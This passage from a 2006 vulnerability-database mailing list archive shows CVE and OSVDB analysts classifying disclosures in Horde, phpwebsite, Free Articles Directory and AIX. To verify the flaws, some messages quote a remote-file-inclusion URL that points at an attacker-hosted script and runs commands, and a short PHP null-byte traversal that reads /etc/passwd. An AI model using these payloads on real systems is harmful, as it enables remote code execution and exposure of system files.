some percentage of people who disclose widely are "black hats," this
probably happens on occasion.
- Steve
From coley at mitre.org Tue Mar 21 14:41:57 2006
From: coley at mitre.org (Steven M. Christey)
Date: Tue, 21 Mar 2006 14:41:57 -0500 (EST)
Subject: [VIM] Red Hat security engineer lists sources of vulnerabilities
Message-ID: <200603211941.k2LJfvOk007810@cairo.mitre.org>
Mark Cox of Red Hat has published a blog entry that lists Red Hat's
sources for how they learned about vulnerabilities in their products:
http://www.awe.com/mark/blog/security/200603211056.html
Note his disclaimer that "we only list the first place we found out
about an issue, and for already-public issues this may be arbitrary."
Still, it's an interesting breakdown, and it would be nice to see how
other vendors learn of issues.
- Steve
From coley at linus.mitre.org Tue Mar 21 17:34:54 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Tue, 21 Mar 2006 17:34:54 -0500 (EST)
Subject: [VIM] Knowledgebases Remote Command Exucetion
In-Reply-To: <44053867.1010800@securityglobal.net>
References: <20060227123040.18672.qmail@securityfocus.com>
<44053867.1010800@securityglobal.net>
Message-ID:
On Wed, 1 Mar 2006, Stuart Moore wrote:
> In searching back further, it seems that Zero X reported this issue
> [CVE-2003-1131] to Bugtraq in December 2003:
> http://www.securityfocus.com/archive/1/348359
> But, Zero X's report mentions only KnowledgeBuilder and not any of the
> other products.
>
> Would this warrant a new CVE for the newly identified products? Or a
> modification to the CVE-2003-1131 entry?
Sorry I didn't respond earlier, this one slipped by me.
This is an area where we probably haven't been consistent. However, over
the past year or so, I've generally done a SPLIT for distinct disclosures
by different researchers. We can't necessarily know for sure if some of
the newer products were even in existence back in 2003 (well, without some
deeper research.)
So, a new CVE will be created.
The question is, how many new CVEs? Another area I've been struggling
with lately is how to handle when the same issue - same attack vector and
everything - occurs in multiple products by the same vendor. My current
feeling (and that's all it is) is that if the products are clearly
separable and don't obviously share any common library or the like, then
I'll SPLIT them.
So, this particular case requires even more analysis in order to determine
the relationships between the different products.
- Steve
From jericho at attrition.org Tue Mar 21 18:38:23 2006
From: jericho at attrition.org (security curmudgeon)
Date: Tue, 21 Mar 2006 18:38:23 -0500 (EST)
Subject: [VIM] Knowledgebases Remote Command Exucetion
In-Reply-To:
References: <20060227123040.18672.qmail@securityfocus.com>
<44053867.1010800@securityglobal.net>
Message-ID:
: The question is, how many new CVEs? Another area I've been struggling
: with lately is how to handle when the same issue - same attack vector
: and everything - occurs in multiple products by the same vendor. My
: current feeling (and that's all it is) is that if the products are
: clearly separable and don't obviously share any common library or the
: like, then I'll SPLIT them.
That is our criteria, but due to lack of code access is somewhat
subjective. If OSVDB feels that the same codebase was used in multiple
products, they get the same ID usually. If it was different code or very
likely different, they get split.
One time we deviate is in protocol implementation. The ISAKMP (or any
other PROTOS based disclosures) for example, got a couple entries (DoS and
unspecified) for all products, because it seems everyone implemented it
equally wrong.
From jericho at attrition.org Wed Mar 22 01:42:10 2006
From: jericho at attrition.org (security curmudgeon)
Date: Wed, 22 Mar 2006 01:42:10 -0500 (EST)
Subject: [VIM] Nortel advisory URL humor
Message-ID:
http://www130.nortelnetworks.com/cgi-bin/eserv/cs/main.jsp?cscat=BLTNDETAIL&DocumentOID=391523&RenditionID=
"RenditionID"? Given the definition of 'rendition', it's a tad amusing =)
1. The act of rendering; especially, the act of surrender, as
of fugitives from justice, at the claim of a foreign
government; also, surrender in war.
[1913 Webster]
n 1: a performance of a musical composition or a dramatic role
etc.; "they heard a live rendition of three pieces by
Schubert" [syn: {rendering}]
2: an explanation of something that is not immediately obvious;
"the edict was subject to many interpretations"; "he
annoyed us with his interpreting of parables"; "often
imitations are extended to provide a more accurate
rendition of the child's intended meaning" [syn: {interpretation},
{interpreting}, {rendering}]
3: the act of interpreting something as expressed in an
artistic performance; "her rendition of Milton's verse was
extraordinarily moving" [syn: {rendering}, {interpretation}]
I don't think it qualifies as a musical composition or dramatic role, so
we'll go with "explanation of something that is not immediately obvious",
although having to download a PDF to view the advisory may approach the
more modern use of the word involving torture in other countries.
From nicob at nicob.net Wed Mar 22 04:17:23 2006
From: nicob at nicob.net (Nicob)
Date: Wed, 22 Mar 2006 10:17:23 +0100
Subject: [VIM] FrSIRT closes exploit section due to French laws
In-Reply-To: <200603200314.k2K3EvsU022289@cairo.mitre.org>
References: <200603200314.k2K3EvsU022289@cairo.mitre.org>
Message-ID: <1143019043.24088.45.camel@localhost>
Le dimanche 19 mars 2006 ? 22:14 -0500, Steven M. Christey a ?crit :
> However, they still offer the information to subscribers. Wonder if
> that's a loophole in French law.
French law clearly states that exploit code can be used/wrote/shared
only by people with a "legitimate need". But nobody want to go to court
to known what does this "legitimate need" exactly is :-(
Nicob
From jericho at attrition.org Wed Mar 22 05:45:03 2006
From: jericho at attrition.org (security curmudgeon)
Date: Wed, 22 Mar 2006 05:45:03 -0500 (EST)
Subject: [VIM] Free Articles Directory - file inclusion, code execution?
Message-ID:
http://archives.neohapsis.com/archives/bugtraq/2006-03/0396.html
Original disclosure isn't very clear, but the sample looks like it is
passing arbitrary commands to be executed:
http://[target]/index.php?page=evilcode?&cmd=uname -a
http://www.secunia.com/advisories/19320/
Secunia is calling this local/remote file inclusion. Clarification or
different issue?
From jericho at attrition.org Wed Mar 22 07:56:33 2006
From: jericho at attrition.org (security curmudgeon)
Date: Wed, 22 Mar 2006 07:56:33 -0500 (EST)
Subject: [VIM] Horde go.php question
Message-ID:
http://archives.neohapsis.com/archives/bugtraq/2006-03/0272.html
http://archives.neohapsis.com/archives/bugtraq/2006-03/0366.html
---------- Forwarded message ----------
From: security curmudgeon
To: Jan Schneider
Date: Wed, 22 Mar 2006 07:55:54 -0500 (EST)
Subject: Re: CodeScan Advisory: Unauthenticated Arbitrary File Read in Horde
v3.09 and prior
Hey Jan,
: Just FYI, noone of the Horde developers was able to reproduce this, and
: it should only be exploitable if you have a PHP version that has bugs in
: both parse_url() and readfile().
:
: Beside that, the reporters unfortunately stopped talking to us in the
: middle of the process, dunno why.
If none of the developers were able to reproduce this, do you know why
CodeScan said the following:
: > CodeScan Labs has been in contact with Horde and a new version of
: > the software has been released to address the discovered
: > vulnerability.
: >
: > Users are advised to upgrade to version 3.1
: > ftp://ftp.horde.org/pub/horde/horde-3.1.tar.gz
Why would they encourage users to upgrade to 3.1 to fix this, if the devs
couldnt reproduce it (and I assume write a patch for it)?
Thanks!
Brian
OSVDB.org
From jzlatin at ramat.cc Wed Mar 22 07:46:38 2006
From: jzlatin at ramat.cc (Josh Zlatin)
Date: Wed, 22 Mar 2006 07:46:38 -0500 (EST)
Subject: [VIM] Free Articles Directory - file inclusion, code execution?
In-Reply-To:
References:
Message-ID:
On Wed, 22 Mar 2006, security curmudgeon wrote:
>
> http://archives.neohapsis.com/archives/bugtraq/2006-03/0396.html
>
> Original disclosure isn't very clear, but the sample looks like it is passing
> arbitrary commands to be executed:
>
> http://[target]/index.php?page=evilcode?&cmd=uname -a
>
> http://www.secunia.com/advisories/19320/
>
> Secunia is calling this local/remote file inclusion. Clarification or
> different issue?
Looks to me like a clarification, meaning:
http://[target]/index.php?page=http://[attacker]/evilscript
opens and runs the php script (note the following code in index.php
though: include($_GET["page"].".php");
I was unable to run uname -a or any other command I tried via the cmd
command, but that is probably because the 'cmd' variable is defined as
the result of the following SQL query:
SELECT * FROM document_master where doc_title='".$_GET["pagedb"].
--
- Josh
From theall at tenablesecurity.com Wed Mar 22 09:19:02 2006
From: theall at tenablesecurity.com (George A. Theall)
Date: Wed, 22 Mar 2006 09:19:02 -0500
Subject: [VIM] Horde go.php question
In-Reply-To:
References:
Message-ID: <44215CD6.3000105@tenablesecurity.com>
security curmudgeon wrote:
> http://archives.neohapsis.com/archives/bugtraq/2006-03/0272.html
> http://archives.neohapsis.com/archives/bugtraq/2006-03/0366.html
>
> ---------- Forwarded message ----------
> From: security curmudgeon
> To: Jan Schneider
> Date: Wed, 22 Mar 2006 07:55:54 -0500 (EST)
> Subject: Re: CodeScan Advisory: Unauthenticated Arbitrary File Read in
> Horde
> v3.09 and prior
>
>
> Hey Jan,
>
> : Just FYI, noone of the Horde developers was able to reproduce this, and
> : it should only be exploitable if you have a PHP version that has bugs in
> : both parse_url() and readfile().
I asked Jan about this and told him that I'm able to reproduce this
under php 4.4.0-pl1-gentoo as long as magic_quotes_gpc is disabled and
that the following PHP script successfully displays the password file if
run from the CLI under PHP 5.1.2-gentoo/0.4.8:
$url = "../../../../../../../../../../../etc/passwd" . chr(0) . ":/";
var_dump(parse_url($url));
readfile($url);
?>
which suggests that the exploit should work with that version too. In
his reply, he didn't mention anything about which versions of PHP have
the bugs he eluded to, only that he tested it on 4.4.0 and it didn't
work but it did using the CLI SAPI of that version.
I sent him my php.ini file as well as Apache's server info output to
give him an idea how the first server is configured. That was yesterday
morning. I haven't heard back from him yet.
George
From theall at tenablesecurity.com Wed Mar 22 09:58:27 2006
From: theall at tenablesecurity.com (George A. Theall)
Date: Wed, 22 Mar 2006 09:58:27 -0500
Subject: [VIM] Free Articles Directory - file inclusion, code execution?
In-Reply-To:
References:
Message-ID: <44216613.7050103@tenablesecurity.com>
Josh Zlatin wrote:
> Looks to me like a clarification, meaning:
> http://[target]/index.php?page=http://[attacker]/evilscript
>
> opens and runs the php script (note the following code in index.php
> though: include($_GET["page"].".php");
Yes, it does appear to be a remote file include flaw. From index.php,
you have:
if ($_GET["page"]=='')
...
else
{
include($_GET["page"].".php");
}
> I was unable to run uname -a or any other command I tried via the cmd
> command, but that is probably because the 'cmd' variable is defined as
> the result of the following SQL query:
Actually, it just is passed to whatever URL you pass in via the page
parameter. So all you'd need to run code is a PHP script that calls
system() with the value of cmd.
George
--
theall at tenablesecurity.com
From theall at tenablesecurity.com Wed Mar 22 13:45:03 2006
From: theall at tenablesecurity.com (George A. Theall)
Date: Wed, 22 Mar 2006 13:45:03 -0500
Subject: [VIM] SQL Injections in phpwebsite
Message-ID: <44219B2F.3090305@tenablesecurity.com>
Has anyone looked into the SQL injection flaws in phpwebsite announced here:
http://www.securityfocus.com/archive/1/428156/30/0/threaded
SecurityFocus assigned it BID 17150 and Mitre CVE-2006-1330. The
advisory doesn't specify which versions are affected and I haven't found
anything about it on the project's site / forums / mailing lists, but
Secunia reports the solution is to upgrade to a version higher than
0.8.3, which would mean 0.9.0, released early 2003.
The first issue does seem to be new, but the second appears to be the
same as that covered by CVE-2002-2178 / OSVDB 3850 and announced here:
http://archives.neohapsis.com/archives/bugtraq/2002-10/0029.html
Unfortunately, I can't find the a download for the source for 0.8.3 from
the project's website, but I did find a CVS repository that purports to
have 0.8.3:
http://cvs.cannonbose.com/cgi-bin/viewcvs.cgi/third-party/phpwebsite_0_8_3/article.php?annotate=1.4
Note that in line 106, sid is passed to a SQL query, which is the first
time it's used in that file as long as op does not equal 'Print'.
Finally, the source code for 0.9.0 does not have friends.php and has
only a stub for article.php.
Thoughts?
George
--
theall at tenablesecurity.com
From coley at linus.mitre.org Wed Mar 22 14:34:50 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Wed, 22 Mar 2006 14:34:50 -0500 (EST)
Subject: [VIM] Free Articles Directory - file inclusion, code execution?
In-Reply-To:
References:
Message-ID:
I did some followup analysis on this and (yet again) forgot to forward to
VIM.
-----
[CVE-2006-1350]
ACCURACY: verified using source inspection by Steve Christey on
20060321. Line 23 of index.php (dated 20051208) is:
include($_GET["page"].".php");
So this is file inclusion. The use of the "cmd" parameter in the exploit
is a standard manipulation in which the remote page delivers the code that
accepts the cmd parameter.
Full source of index.php is below.
I didn't see any clear version numbers; most source files are dated Dec 8,
2005.
- Steve
=getsettings(8,"",2);?>

From coley at linus.mitre.org Wed Mar 22 14:42:55 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Wed, 22 Mar 2006 14:42:55 -0500 (EST)
Subject: [VIM] Free Articles Directory - file inclusion, code execution?
In-Reply-To:
References:
Message-ID:
On Wed, 22 Mar 2006, Steven M. Christey wrote:
> I did some followup analysis on this and (yet again) forgot to forward to
> VIM.
Don't you find it irritating when someone replies to the initial email of
a thread instead of waiting until they've read the whole thread? :)
- Steve
From coley at mitre.org Wed Mar 22 14:51:24 2006
From: coley at mitre.org (Steven M. Christey)
Date: Wed, 22 Mar 2006 14:51:24 -0500 (EST)
Subject: [VIM] Clarification on do_replace netfilter overflow
Message-ID: <200603221951.k2MJpOdX028778@cairo.mitre.org>
FYI, Red Hat has a clarification on the do_replace netfilter; original
BID details apparently had some errors. Check the bugzilla reference
in the CVE below.
- Steve
======================================================
Name: CVE-2006-0038
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0038
Reference: CONFIRM:https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=186295
Reference: CONFIRM:http://www.kernel.org/git/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=ee4bb818ae35f68d1f848eae0a7b150a38eb4168
Reference: BID:17178
Reference: URL:http://www.securityfocus.com/bid/17178
Integer overflow in the do_replace function in netfilter for Linux
before 2.6.16-rc3, when using "virtualization solutions" such as
OpenVZ, allows local users with CAP_NET_ADMIN rights to cause a buffer
overflow in the copy_from_user function.
From jericho at attrition.org Wed Mar 22 16:45:58 2006
From: jericho at attrition.org (security curmudgeon)
Date: Wed, 22 Mar 2006 16:45:58 -0500 (EST)
Subject: [VIM] CodeScan Advisory: Unauthenticated Arbitrary File Read in
Horde v3.09 and prior (fwd)
Message-ID:
---------- Forwarded message ----------
From: Jan Schneider
To: security curmudgeon
Date: Wed, 22 Mar 2006 14:33:51 +0100
Subject: Re: CodeScan Advisory: Unauthenticated Arbitrary File Read in Horde
v3.09 and prior
Zitat von security curmudgeon :
>
> Hey Jan,
>
> : Just FYI, noone of the Horde developers was able to reproduce this, and
> : it should only be exploitable if you have a PHP version that has bugs in
> : both parse_url() and readfile().
> :
> : Beside that, the reporters unfortunately stopped talking to us in the
> : middle of the process, dunno why.
>
> If none of the developers were able to reproduce this, do you know why
> CodeScan said the following:
>
> : > CodeScan Labs has been in contact with Horde and a new version of
> : > the software has been released to address the discovered
> : > vulnerability.
> : >
> : > Users are advised to upgrade to version 3.1
> : > ftp://ftp.horde.org/pub/horde/horde-3.1.tar.gz
>
> Why would they encourage users to upgrade to 3.1 to fix this, if the devs
> couldnt reproduce it (and I assume write a patch for it)?
Because we worked around it even though we couldn't reproduce it.
Jan.
--
Do you need professional PHP or Horde consulting?
http://horde.org/consulting/
From jericho at attrition.org Wed Mar 22 18:46:54 2006
From: jericho at attrition.org (security curmudgeon)
Date: Wed, 22 Mar 2006 18:46:54 -0500 (EST)
Subject: [VIM] SQL Injections in phpwebsite
In-Reply-To: <44219B2F.3090305@tenablesecurity.com>
References: <44219B2F.3090305@tenablesecurity.com>
Message-ID:
: Has anyone looked into the SQL injection flaws in phpwebsite announced here:
:
: http://www.securityfocus.com/archive/1/428156/30/0/threaded
:
: SecurityFocus assigned it BID 17150 and Mitre CVE-2006-1330. The
: advisory doesn't specify which versions are affected and I haven't found
: anything about it on the project's site / forums / mailing lists, but
: Secunia reports the solution is to upgrade to a version higher than
: 0.8.3, which would mean 0.9.0, released early 2003.
:
: The first issue does seem to be new, but the second appears to be the
: same as that covered by CVE-2002-2178 / OSVDB 3850 and announced here:
:
: http://archives.neohapsis.com/archives/bugtraq/2002-10/0029.html
OSVDB 3850 covers "article.php HTML IMG tags XSS", not an SQL injection.
Currently, none of our entries cover an SQL injection in friend.php or
article.php. CVE 2002-2178 covers article.php sid variable injection,
but uses it as an example for the IMG tag XSS.
From jericho at attrition.org Wed Mar 22 19:39:49 2006
From: jericho at attrition.org (security curmudgeon)
Date: Wed, 22 Mar 2006 19:39:49 -0500 (EST)
Subject: [VIM] Vulnerability fixed in E-gold (fwd)
In-Reply-To:
References:
Message-ID:
: > I know the VDB's don't track site specific bugs for the most part
:
: I'm starting to think that this is a bit of an issue, from the respect
: of monitoring the space of "all known" vulnerabilities, no matter where
: they live or how ephemeral they are. It feels like we're missing out on
: a bit. The existing DBs out there do have good reasons for not tracking
: these, but it would be a good thing if someone did it.
OSVDB is fairly sure that tracking them is important, and will do it at
some point. There are several issues in doing so that give us pause
though. Unlike most vulns, you can't easily track some data that we
normally do such as product info, versions, solution etc.
Product info becomes site name and function? Versions become dates?
Solution would always be "use the site after X date" which doesn't make
a whole lot of sense.
: > Has anyone else considered doing this in any fashion? What are the pros
: > and cons in your eyes?
:
: The con would probably be the sheer amount of issues (XSS would be king,
: and high risk in this context). I imagine there would be high
: analytical expenses to distinguish a site-specific issue from a problem
: in a third party package that the site is using. Actually, this expense
: is starting to show up in CVE, just so we can decide whether or not to
: include something.
Another big issue. www.example.com is reported as being prone to an XSS or
SQL injection. The real question is.. is it code they generated, or do
they use an underlying commercial package that has the vuln? This is
probably one of the biggest turnoffs for tracking such vulns, especially
given the lack of detail/research seen in many disclosures.
: The pros would be similar to the pros of disclosure in distributed
: software, although the same cons would be inherited too. e.g. someone
: might hear "XSS in Google" and assume there was some major obvious
: mistake, even if it required a really obscure attack that took advantage
: of broken browsers and non-standard behavior.
Most databases have a mechanism to disclaim such requirements, but is that
enough? If you post that Google has an XSS in FeatureC, and you can get it
to work only via a Proxy using JerBrowse 3.0 .. does that tell us that
it's only available via that setup and vector? Of course, we can argue
this same thing with any other disclosure that puts criteria on
exploitation.. so is it the fact that X million people use Google that
should make us consider this more carefully?
: I VERY loosely track these kinds of issues if they're posted to Bugtraq,
: but they're not in any central location. Rather, I don't completely
: throw away the reference. CVE will be making some internal process
: changes that might allow this tracking to happen a little more cleanly,
: but I'm not sure when that would happen.
I save the mail off to a subdirectory. Not very organized, but all in one
place and I can use the excellent search engine 'grep' =) At present, 182
files in that directory.
From coley at linus.mitre.org Wed Mar 22 19:49:31 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Wed, 22 Mar 2006 19:49:31 -0500 (EST)
Subject: [VIM] Vulnerability fixed in E-gold (fwd)
In-Reply-To:
References:
Message-ID:
On Wed, 22 Mar 2006, security curmudgeon wrote:
>
> : > I know the VDB's don't track site specific bugs for the most part
>
> OSVDB is fairly sure that tracking them is important, and will do it at
> some point.
Since this thread started, I'm manually recording new issues as they come
across Bugtraq or other CVE sources, but there aren't a lot so far. You
have a lot more.
> Another big issue. www.example.com is reported as being prone to an XSS or
> SQL injection. The real question is.. is it code they generated, or do
> they use an underlying commercial package that has the vuln? This is
> probably one of the biggest turnoffs for tracking such vulns, especially
> given the lack of detail/research seen in many disclosures.
Makes sense, but we're already seeing this quite a bit even in the
"publicly distributed software" world. Definitely seems like it would be
much worse in the site-specific world.
- Steve
From theall at tenablesecurity.com Wed Mar 22 20:09:32 2006
From: theall at tenablesecurity.com (George A. Theall)
Date: Wed, 22 Mar 2006 20:09:32 -0500
Subject: [VIM] SQL Injections in phpwebsite
In-Reply-To:
References: <44219B2F.3090305@tenablesecurity.com>
Message-ID: <4421F54C.4090300@tenablesecurity.com>
security curmudgeon wrote:
> : The first issue does seem to be new, but the second appears to be the
> : same as that covered by CVE-2002-2178 / OSVDB 3850 and announced here:
> :
> : http://archives.neohapsis.com/archives/bugtraq/2002-10/0029.html
>
> OSVDB 3850 covers "article.php HTML IMG tags XSS", not an SQL injection.
> Currently, none of our entries cover an SQL injection in friend.php or
> article.php. CVE 2002-2178 covers article.php sid variable injection,
> but uses it as an example for the IMG tag XSS.
I understand, but what I was getting as is whether the issue with
article.php was mis-classified as a cross-site scripting flaw rather
than a SQL injection. Given that a mysql syntax error will echo the
query if PHP's display_errors setting is enabled, the person behind the
report at
http://archives.neohapsis.com/archives/bugtraq/2002-10/0029.html
may have blindly been attacking phpwebsite and missed the true nature of
this particular problem.
Is there another vector of attack for the IMG tags XSS affecting
phpwebsite? The ECHU advisory posted to fd only says that phpwebsite is
affected but doesn't specify exactly how.
George
--
theall at tenablesecurity.com
From coley at linus.mitre.org Wed Mar 22 20:47:59 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Wed, 22 Mar 2006 20:47:59 -0500 (EST)
Subject: [VIM] SQL Injections in phpwebsite
In-Reply-To: <4421F54C.4090300@tenablesecurity.com>
References: <44219B2F.3090305@tenablesecurity.com>
<4421F54C.4090300@tenablesecurity.com>
Message-ID:
On Wed, 22 Mar 2006, George A. Theall wrote:
> I understand, but what I was getting as is whether the issue with
> article.php was mis-classified as a cross-site scripting flaw rather
> than a SQL injection. Given that a mysql syntax error will echo the
> query if PHP's display_errors setting is enabled, the person behind the
> report at
>
> http://archives.neohapsis.com/archives/bugtraq/2002-10/0029.html
>
> may have blindly been attacking phpwebsite and missed the true nature of
> this particular problem.
This kind of diagnosis error happens quite frequently, unfortunately, but
I've only recently started noticing/caring about this in the last year or
so (XSS would be "resultant" from a primary SQL injection using my
terminology, if this is the case.)
I'm not sure how much we can do about this diagnosis problem collectively,
besides verifying the issues ourselves when feasible, and encouraging
researchers to be more careful.
Note that I suspect that a recent PHP XSS flaw was related to the general
problem you're discussing, so maybe we'll stop seeing these kinds of
diagnosis errors as more products or installations move to newer PHP
versions. Assuming that PHP XSS issue was related to display_errors...
I'd tell you the CVE number but searching for "php and xss" is, well,
obviously not even worth trying ;-)
Oh wait, here you go - CVE-2006-0208
- Steve
(who hasn't looked closely at this issue yet and thus is not commenting on
specifics)
From jericho at attrition.org Thu Mar 23 08:54:36 2006
From: jericho at attrition.org (security curmudgeon)
Date: Thu, 23 Mar 2006 08:54:36 -0500 (EST)
Subject: [VIM] IBM changing significant details?
Message-ID:
While doing routine cross-referencing, I noticed SecurityTracker had a
peculiar note for one advisory:
http://securitytracker.com/alerts/2006/Mar/1015786.html
[Editor's note: This flaw was reported in other databases as affecting the
'mklvcopy' command and as allowing local privilege escalation, but the
vendor's advisory does not confirm these details.]
http://www-1.ibm.com/support/docview.wss?uid=isg1IY82739
Security issue in bos.rte.lvm.
--
So ST is right, as the advisory currently stands. However, I made the
OSVDB entry for 'mklvcopy' on 2006-03-13, and the IBM advisory was last
modified on 2006-03-14. If memory serves, it originally said the
'mklvcopy' command and had vague wording, which lead to the OSVDB title of
"AIX mklvcopy Unspecified Local Issue". Secunia changed their title and
description on 2006-03-21 (as mentioned in their changelog) and it no
longer mentions 'mklvcopy'. Interesting..
From coley at linus.mitre.org Thu Mar 23 21:15:32 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Thu, 23 Mar 2006 21:15:32 -0500 (EST)
Subject: [VIM] IBM changing significant details?
In-Reply-To:
References:
Message-ID:
On Thu, 23 Mar 2006, security curmudgeon wrote:
> [Editor's note: This flaw was reported in other databases as affecting the
> 'mklvcopy' command and as allowing local privilege escalation, but the
> vendor's advisory does not confirm these details.]
Sounds a lot like CVE's current description, except we're a bit more terse
and just say "possibly in the mklvcopy command."
> OSVDB entry for 'mklvcopy' on 2006-03-13, and the IBM advisory was last
> modified on 2006-03-14. If memory serves, it originally said the
> 'mklvcopy' command and had vague wording, which lead to the OSVDB title of
> "AIX mklvcopy Unspecified Local Issue".
Well this adds a bit of confusion alright. Maybe "mklvcopy" wasn't even
relevant to the issue as specified in the IBM report, so it could be an
entirely different issue. Dunno...
- Steve
From coley at mitre.org Thu Mar 23 21:17:56 2006
From: coley at mitre.org (Steven M. Christey)
Date: Thu, 23 Mar 2006 21:17:56 -0500 (EST)
Subject: [VIM] Red Hat dispute of Firefox IE-style script handler issue
Message-ID: <200603240217.k2O2HuFY028933@cairo.mitre.org>
Looks like CVE was the only RVI that decided to create something out
of a followup to the MSIE script handler problem that mentioned
Firefox, but word just came down from Red Hat that it looks like an
IE-specific component in Mozilla. I don't have enough information to
concur with either party, although currently available information
suggests concurrence with the vendor. If so, then I would merge with
IE's CVE-2006-1245.
- Steve
======================================================
Name: CVE-2006-1273
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1273
Reference: BUGTRAQ:20060317 Re: Re: Remote overflow in MSIE script action handlers (mshtml.dll)
Reference: URL:http://www.securityfocus.com/archive/1/archive/1/427977/100/0/threaded
Reference: BUGTRAQ:20060318 Re: Re: Remote overflow in MSIE script action handlers (mshtml.dll)
Reference: URL:http://www.securityfocus.com/archive/1/archive/1/428159/100/0/threaded
** DISPUTED **
Mozilla Firefox 1.0.7 and 1.5.0.1 allows remote attackers to cause a
denial of service (crash) via an HTML tag with a large number of
script action handlers such as onload and onmouseover, which triggers
the crash when the user views the page source. NOTE: Red Hat has
disputed this issue, suggesting that "It is likely the reporter was
running the IE Tab extension," and Mozilla also confirmed that this is
not an issue in Firefox itself.
From jericho at attrition.org Thu Mar 23 21:18:05 2006
From: jericho at attrition.org (security curmudgeon)
Date: Thu, 23 Mar 2006 21:18:05 -0500 (EST)
Subject: [VIM] IBM changing significant details?
In-Reply-To:
References:
Message-ID:
: > OSVDB entry for 'mklvcopy' on 2006-03-13, and the IBM advisory was last
: > modified on 2006-03-14. If memory serves, it originally said the
: > 'mklvcopy' command and had vague wording, which lead to the OSVDB title of
: > "AIX mklvcopy Unspecified Local Issue".
:
: Well this adds a bit of confusion alright. Maybe "mklvcopy" wasn't even
: relevant to the issue as specified in the IBM report, so it could be an
: entirely different issue. Dunno...
The original text with that APAR suggested a customer submitted it, and
they may have noticed the behavior via the mklvcopy command. After
research from IBM, they likely found the underlying issue elsewhere and
updated the text. That is what I am assuming.. and if true, discouraging
that they removed details that are likely relevant.
From mattmurphy at kc.rr.com Thu Mar 23 21:34:12 2006
From: mattmurphy at kc.rr.com (Matthew Murphy)
Date: Thu, 23 Mar 2006 20:34:12 -0600
Subject: [VIM] Red Hat dispute of Firefox IE-style script handler issue
In-Reply-To: <200603240217.k2O2HuFY028933@cairo.mitre.org>
References: <200603240217.k2O2HuFY028933@cairo.mitre.org>
Message-ID: <44235AA4.30403@kc.rr.com>
-----BEGIN PGP SIGNED MESSAGE-----
Hash: RIPEMD160
Steven M. Christey wrote:
> Looks like CVE was the only RVI that decided to create something out
> of a followup to the MSIE script handler problem that mentioned
> Firefox, but word just came down from Red Hat that it looks like an
> IE-specific component in Mozilla. I don't have enough information to
> concur with either party, although currently available information
> suggests concurrence with the vendor. If so, then I would merge with
> IE's CVE-2006-1245.
I concur with Red Hat. Firefox 1.5 on XP SP2 survives the page (as does
Firefox 1.0 on Windows Server 2003 RTM). Of note, however, is that
viewing the same page in Firefox with IETab installed and choosing "View
Page in IE Tab" results in crashes due to memory access violations in
both browsers.
- --
"Social Darwinism: Try to make something idiot-proof,
nature will provide you with a better idiot."
-- Michael Holstein
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2 (MingW32)
Comment: http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xB5444D38
iD8DBQFEI1qkfp4vUrVETTgRA7QPAJ0QOefMk/IfDb7+eCWvyj55jpjpKQCeKMBm
X5sakW6LNseNC8+VqKOlObk=
=oIfE
-----END PGP SIGNATURE-----
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/x-pkcs7-signature
Size: 3436 bytes
Desc: S/MIME Cryptographic Signature
Url : http://www.attrition.org/pipermail/vim/attachments/20060323/70010c5c/attachment.bin
From smoore at securityglobal.net Thu Mar 23 21:53:42 2006
From: smoore at securityglobal.net (Stuart Moore)
Date: Thu, 23 Mar 2006 21:53:42 -0500
Subject: [VIM] IBM changing significant details?
In-Reply-To:
References:
Message-ID: <44235F36.50502@securityglobal.net>
If I remember correctly, it was either SecurityFocus or Secunia (or
both) that originally reported the 'mklvcopy' aspect (BID 17115 still
mentions it). But the first time we saw the APAR, it only mentioned
BOS.RTE.LVM and the entirely useless "security issue" description.
Stuart
security curmudgeon wrote:
> : > OSVDB entry for 'mklvcopy' on 2006-03-13, and the IBM advisory was last
> : > modified on 2006-03-14. If memory serves, it originally said the
> : > 'mklvcopy' command and had vague wording, which lead to the OSVDB title of
> : > "AIX mklvcopy Unspecified Local Issue".
> :
> : Well this adds a bit of confusion alright. Maybe "mklvcopy" wasn't even
> : relevant to the issue as specified in the IBM report, so it could be an
> : entirely different issue. Dunno...
>
> The original text with that APAR suggested a customer submitted it, and
> they may have noticed the behavior via the mklvcopy command. After
> research from IBM, they likely found the underlying issue elsewhere and
> updated the text. That is what I am assuming.. and if true, discouraging
> that they removed details that are likely relevant.
>
From jericho at attrition.org Thu Mar 23 21:55:38 2006
From: jericho at attrition.org (security curmudgeon)
Date: Thu, 23 Mar 2006 21:55:38 -0500 (EST)
Subject: [VIM] IBM changing significant details?
In-Reply-To: <44235F36.50502@securityglobal.net>
References:
<44235F36.50502@securityglobal.net>
Message-ID:
: If I remember correctly, it was either SecurityFocus or Secunia (or
: both) that originally reported the 'mklvcopy' aspect (BID 17115 still
: mentions it). But the first time we saw the APAR, it only mentioned
: BOS.RTE.LVM and the entirely useless "security issue" description.
I am 99% sure the APAR said 'mklvcopy'. I created the OSVDB entry within
hours of Secunia's entry and couldn't find any more info than they had.
From coley at linus.mitre.org Fri Mar 24 03:11:03 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Fri, 24 Mar 2006 03:11:03 -0500 (EST)
Subject: [VIM] IBM changing significant details?
In-Reply-To:
References:
<44235F36.50502@securityglobal.net>
Message-ID:
On Thu, 23 Mar 2006, security curmudgeon wrote:
> I am 99% sure the APAR said 'mklvcopy'. I created the OSVDB entry within
> hours of Secunia's entry and couldn't find any more info than they had.
This is one more aspect of the provenance problem: who knew what when, and
how confident are we that they were right in the first place, and if there
was an original source, where is it and barring that, how confident are we
that the original source was interpreted correctly by a third party? I
don't know if this kind of problem is getting more pronounced, or if I'm
just getting more sensitive to it now.
- Steve
From jericho at attrition.org Fri Mar 24 03:56:07 2006
From: jericho at attrition.org (security curmudgeon)
Date: Fri, 24 Mar 2006 03:56:07 -0500 (EST)
Subject: [VIM] XHP vendor ack/fix
Message-ID:
---------- Forwarded message ----------
